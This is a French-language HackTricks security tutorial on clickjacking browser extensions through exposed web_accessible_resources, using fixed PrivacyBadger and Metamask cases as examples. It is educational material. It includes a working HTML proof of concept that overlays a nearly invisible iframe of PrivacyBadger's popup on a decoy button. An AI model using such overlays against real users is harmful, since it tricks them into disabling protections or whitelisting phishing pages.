BrowExt - ClickJacking

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu'est le ClickJacking, consultez :

Clickjacking

Les extensions contiennent le fichier manifest.json et ce fichier JSON a un champ web_accessible_resources. Voici ce que disent les docs de Chrome Ă  ce sujet :

Ces ressources seraient alors disponibles dans une page web via l'URL chrome-extension://[PACKAGE ID]/[PATH], qui peut ĂȘtre gĂ©nĂ©rĂ©e avec la mĂ©thode extension.getURL. Les ressources autorisĂ©es sont servies avec des en-tĂȘtes CORS appropriĂ©s, donc elles sont disponibles via des mĂ©canismes comme XHR.1

Les web_accessible_resources dans une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent également avec les privilÚges inhérents de l'extension. Cela signifie qu'elles ont la capacité de :

  • Changer l'Ă©tat de l'extension
  • Charger des ressources supplĂ©mentaires
  • Interagir avec le navigateur dans une certaine mesure

Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource au sein des web_accessible_resources a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs non avertis visitant cette page pourraient involontairement activer cette ressource intégrée. Une telle activation pourrait entraßner des conséquences inattendues, en fonction des autorisations et des capacités des ressources de l'extension.

Exemple PrivacyBadger

Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée liée au répertoire skin/ déclaré comme web_accessible_resources de la maniÚre suivante (Consultez le post de blog original) :

json
"web_accessible_resources": [
"skin/*",
"icons/*"
]

Cette configuration a conduit Ă  un problĂšme de sĂ©curitĂ© potentiel. Plus prĂ©cisĂ©ment, le fichier skin/popup.html, qui est rendu lors de l'interaction avec l'icĂŽne PrivacyBadger dans le navigateur, pourrait ĂȘtre intĂ©grĂ© dans un iframe. Cette intĂ©gration pourrait ĂȘtre exploitĂ©e pour tromper les utilisateurs en les incitant Ă  cliquer involontairement sur "DĂ©sactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privĂ©e de l'utilisateur en dĂ©sactivant la protection PrivacyBadger et en soumettant potentiellement l'utilisateur Ă  un suivi accru. Une dĂ©monstration visuelle de cette exploitation peut ĂȘtre vue dans un exemple vidĂ©o de ClickJacking fourni Ă  https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.

Pour remĂ©dier Ă  cette vulnĂ©rabilitĂ©, une solution simple a Ă©tĂ© mise en Ɠuvre : la suppression de /skin/* de la liste des web_accessible_resources. Ce changement a efficacement attĂ©nuĂ© le risque en veillant Ă  ce que le contenu du rĂ©pertoire skin/ ne puisse pas ĂȘtre accessible ou manipulĂ© via des ressources accessibles sur le web.

La solution Ă©tait simple : supprimer /skin/* des web_accessible_resources.

PoC

html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>

<div id="stuff">
<h1>Click the button</h1>
<button id="button">click me</button>
</div>

<iframe
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Exemple Metamask

Un article de blog sur un ClickJacking dans metamask peut ĂȘtre trouvĂ© ici. Dans ce cas, Metamask a corrigĂ© la vulnĂ©rabilitĂ© en vĂ©rifiant que le protocole utilisĂ© pour y accĂ©der Ă©tait https: ou http: (pas chrome: par exemple) :

Un autre ClickJacking corrigĂ© dans l'extension Metamask Ă©tait que les utilisateurs pouvaient Cliquer pour ajouter Ă  la liste blanche lorsqu'une page Ă©tait suspecte d'ĂȘtre un phishing Ă  cause de “web_accessible_resources”: [“inpage.js”, “phishing.html”]. Comme cette page Ă©tait vulnĂ©rable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour amener la victime Ă  cliquer pour l'ajouter Ă  la liste blanche sans s'en rendre compte, puis revenir Ă  la page de phishing qui sera ajoutĂ©e Ă  la liste blanche.

Exemple Steam Inventory Helper

Vérifiez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaßné avec une vulnérabilité ClickJacking :

BrowExt - XSS Example

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks